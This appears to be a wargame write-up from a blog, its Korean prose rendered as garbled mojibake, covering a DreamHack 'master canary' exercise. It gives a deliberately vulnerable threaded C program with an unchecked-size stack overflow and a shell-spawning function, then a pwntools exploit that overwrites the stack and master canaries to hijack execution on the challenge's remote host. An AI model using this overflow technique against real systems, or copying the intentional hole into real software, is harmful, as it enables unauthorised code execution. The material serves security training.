
๋ฌธ์ ์ฝ๋
// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_bytes (char *buf, int len) {
int idx = 0;
int read_len = 0;
for (idx = 0; idx < len; idx++) {
int ret;
ret = read(0, buf+idx, 1);
if (ret < 0) {
return read_len;
}
read_len ++;
}
return read_len;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
//read(0, buf, size);
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
๋ฐ๋ก ์ด์ ์์ ํ์ตํ ์ฝ๋์ ๊ฐ์ผ๋ฏ๋ก ๊ฐ์ ๋ถ์ ๋ฐฉ๋ฒ์ ์ฌ์ฉํด์ ์คํ ์ค๋ฒ ํ๋ก์ฐ๋ฅผ ํตํด ์นด๋๋ฆฌ๋ฅผ ๋ฎ์ด์ธ ๊ฒ์ด๋ค.
https://dacoding.tistory.com/72
[DreamHack System Hacking] Master Canary - (1)
์ค์ต ์์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค. // Name: mc_thread.c // Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie #include #include #include #include void giveshell() { execve("/bin/sh", 0, 0); } void in..
dacoding.tistory.com
์ต์คํ๋ก์ ์ฝ๋
# Name: mc_thread.py
from pwn import *
#p = process("./mc_thread")
p = remote("host3.dreamhack.games", 19360)
elf = ELF('./mc_thread')
giveshell = elf.symbols['giveshell']
payload = b"A"*264
payload += b"A"*8 # canary
payload += b"B"*8
payload += p64(giveshell)
payload += b"A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary
inp_sz = len(payload)
p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)
p.interactive()
'DreamHack > SystemHacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[DreamHack System Hacking] Linux Library exploit > _rtld_global (1) | 2022.09.20 |
---|---|
[DreamHack System Hacking] master_canary (0) | 2022.09.19 |
[DreamHack System Hacking] Master Canary - (1) (0) | 2022.09.19 |
[DreamHack System Hacking] Master Canary (1) | 2022.09.19 |
[System Hacking] 2์ฃผ์ฐจ dreamhack stage 12 - (5) (0) | 2022.05.01 |